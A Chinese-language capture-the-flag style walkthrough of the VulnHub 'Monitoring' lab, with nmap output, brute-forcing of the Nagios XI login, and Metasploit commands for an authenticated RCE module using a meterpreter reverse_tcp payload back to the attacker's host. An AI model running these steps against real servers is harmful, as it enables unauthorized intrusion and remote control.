vulnhub靶场，Monitoring

环境准备

靶机下载地址：https://www.vulnhub.com/entry/monitoring-1,555/
攻击机：kali（192.168.109.128）
靶机：Monitoring（192.168.109.139）
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境，启动即可，将网段设置为NAT模式

信息收集

使用arp-scan确定目标靶机

确定目标靶机IP为192.168.109.139
使用nmap扫描查看目标靶机端口开放情况

nmap -Pn -sV -p- -A 192.168.109.139
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-22 19:40 CST
Nmap scan report for 192.168.109.139
Host is up (0.0011s latency).
Not shown: 65529 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b8:8c:40:f6:5f:2a:8b:f7:92:a8:81:4b:bb:59:6d:02 (RSA)
|   256 e7:bb:11:c1:2e:cd:39:91:68:4e:aa:01:f6:de:e6:19 (ECDSA)
|_  256 0f:8e:28:a7:b7:1d:60:bf:a6:2b:dd:a3:6d:d1:4e:a4 (ED25519)
25/tcp   open  smtp       Postfix smtpd
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2020-09-08T17:59:00
|_Not valid after:  2030-09-06T17:59:00
|_ssl-date: TLS randomness does not represent time
80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Nagios XI
389/tcp  open  ldap       OpenLDAP 2.2.X - 2.3.X
443/tcp  open  ssl/http   Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Nagios XI
| ssl-cert: Subject: commonName=192.168.1.6/organizationName=Nagios Enterprises/stateOrProvinceName=Minnesota/countryName=US
| Not valid before: 2020-09-08T18:28:08
|_Not valid after:  2030-09-06T18:28:08
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
5667/tcp open  tcpwrapped
MAC Address: 00:0C:29:2B:7C:FF (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host:  ubuntu; OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE
HOP RTT     ADDRESS
1   1.08 ms 192.168.109.139OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.56 seconds

开放端口：22、25、80、389、443、5667
浏览器访问目标靶机80端口

没有啥能利用的
网站目录结构扫描

也没有啥有用的信息
回到web界面，点击Access Nagios XI

发现是一个登入页面

渗透过程

发现了登入页面，访问了其他的页面好像也只有这里能利用了，那就试试暴力破解

看来毫无目标的暴力破解是不可能的，去网上查找资料，搜索关键字

成功获得了默认的管理员账号，缩小了爆破范围
再次暴力破解

成功获得密码，登入网站后台

但是翻遍了网站所有页面都没有找到能利用的地方，那再次在网站上搜索关键词

看来这个版本是有一个远程代码执行的漏洞
看看metasploit里面有没有攻击代码

选择攻击模块

use exploit/linux/http/nagios_xi_authenticated_rce

设置payload

set payload linux/x64/meterpreter/reverse_tcp

设置攻击目标、本地监听、密码

set rhosts 192.168.109.139
set lhost 192.168.109.128
set password admin

输入exploit开始攻击成功获得一个meterpreter

提权过程

输入shell，发现已经是root用户

切换其根目录，成功获得flag，靶机Monitoring渗透结束